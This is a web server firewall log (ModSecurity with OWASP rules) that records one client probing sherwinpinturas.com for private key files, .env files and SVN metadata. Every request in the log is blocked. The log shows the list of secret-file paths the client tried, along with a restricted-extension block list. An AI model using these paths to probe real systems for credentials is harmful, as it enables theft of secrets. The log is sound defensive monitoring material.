[Mon Oct 26 07:29:10.719338 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at85hvAWpsgTeulbP5bFFgAAABI"]
[Mon Oct 26 07:29:10.719603 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at85hvAWpsgTeulbP5bFFgAAABI"]
[Mon Oct 26 07:29:10.719837 2026] [security2:error] [pid 3023344:tid 3023344] [client 34.19.176.196:37632] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/privatekey.key"] [unique_id "at85hvAWpsgTeulbP5bFFgAAABI"]
[Mon Oct 26 07:29:10.729574 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at85hk3DiqOFJPXX6P420QAAABM"]
[Mon Oct 26 07:29:10.729869 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at85hk3DiqOFJPXX6P420QAAABM"]
[Mon Oct 26 07:29:10.730131 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/localhost.key"] [unique_id "at85hk3DiqOFJPXX6P420QAAABM"]
[Mon Oct 26 07:29:10.768371 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/host.key"] [unique_id "at85hj2qIoRfAL3Hx22jIAAAAAI"]
[Mon Oct 26 07:29:10.768745 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/host.key"] [unique_id "at85hj2qIoRfAL3Hx22jIAAAAAI"]
[Mon Oct 26 07:29:10.769058 2026] [security2:error] [pid 3023329:tid 3023329] [client 34.19.176.196:37550] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/host.key"] [unique_id "at85hj2qIoRfAL3Hx22jIAAAAAI"]
[Mon Oct 26 07:29:10.770015 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at85hp_dbg3ptBnwDgQ4KQAAAAM"]
[Mon Oct 26 07:29:10.770255 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at85hp_dbg3ptBnwDgQ4KQAAAAM"]
[Mon Oct 26 07:29:10.770501 2026] [security2:error] [pid 3019667:tid 3019667] [client 34.19.176.196:37484] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ssl/server.key"] [unique_id "at85hp_dbg3ptBnwDgQ4KQAAAAM"]
[Mon Oct 26 07:29:10.801974 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at85husSoQAaBNrI9tQz8QAAAAk"]
[Mon Oct 26 07:29:10.802237 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at85husSoQAaBNrI9tQz8QAAAAk"]
[Mon Oct 26 07:29:10.802486 2026] [security2:error] [pid 3023343:tid 3023343] [client 34.19.176.196:37636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ssl/localhost.key"] [unique_id "at85husSoQAaBNrI9tQz8QAAAAk"]
[Mon Oct 26 07:29:11.361923 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ses"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at85h4AjAiW0BJRhWhrVmQAAAAc"]
[Mon Oct 26 07:29:11.362076 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at85h4AjAiW0BJRhWhrVmQAAAAc"]
[Mon Oct 26 07:29:11.362338 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.ses"] [unique_id "at85h4AjAiW0BJRhWhrVmQAAAAc"]
[Mon Oct 26 07:29:11.371639 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.github/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at85h05VL05DK7ky7IO-iQAAAA4"]
[Mon Oct 26 07:29:11.371787 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at85h05VL05DK7ky7IO-iQAAAA4"]
[Mon Oct 26 07:29:11.372065 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.github/.env"] [unique_id "at85h05VL05DK7ky7IO-iQAAAA4"]
[Mon Oct 26 07:29:11.375951 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/entries"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at85h03DiqOFJPXX6P420gAAABM"]
[Mon Oct 26 07:29:11.376089 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at85h03DiqOFJPXX6P420gAAABM"]
[Mon Oct 26 07:29:11.376330 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.svn/entries"] [unique_id "at85h03DiqOFJPXX6P420gAAABM"]
[Mon Oct 26 07:29:11.424276 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at85h03DiqOFJPXX6P420wAAABM"]
[Mon Oct 26 07:29:11.424418 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at85h03DiqOFJPXX6P420wAAABM"]
[Mon Oct 26 07:29:11.424680 2026] [security2:error] [pid 3023345:tid 3023345] [client 34.19.176.196:37602] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/config/.env.local"] [unique_id "at85h03DiqOFJPXX6P420wAAABM"]
[Mon Oct 26 07:29:11.451946 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_secret"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at85h4AjAiW0BJRhWhrVmgAAAAc"]
[Mon Oct 26 07:29:11.452257 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at85h4AjAiW0BJRhWhrVmgAAAAc"]
[Mon Oct 26 07:29:11.452565 2026] [security2:error] [pid 3023341:tid 3023341] [client 34.19.176.196:37578] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env_secret"] [unique_id "at85h4AjAiW0BJRhWhrVmgAAAAc"]
[Mon Oct 26 07:29:11.452703 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at85h05VL05DK7ky7IO-igAAAA4"]
[Mon Oct 26 07:29:11.452874 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at85h05VL05DK7ky7IO-igAAAA4"]
[Mon Oct 26 07:29:11.453178 2026] [security2:error] [pid 3019674:tid 3019674] [client 34.19.176.196:37622] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at85h05VL05DK7ky7IO-igAAAA4"]
[Mon Oct 26 07:29:11.457415 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at85h-jICF14JuwJz6aCMgAAAA8"]
[Mon Oct 26 07:29:11.457593 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at85h-jICF14JuwJz6aCMgAAAA8"]
[Mon Oct 26 07:29:11.457842 2026] [security2:error] [pid 3010062:tid 3010062] [client 34.19.176.196:37540] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.key"] [unique_id "at85h-jICF14JuwJz6aCMgAAAA8"]
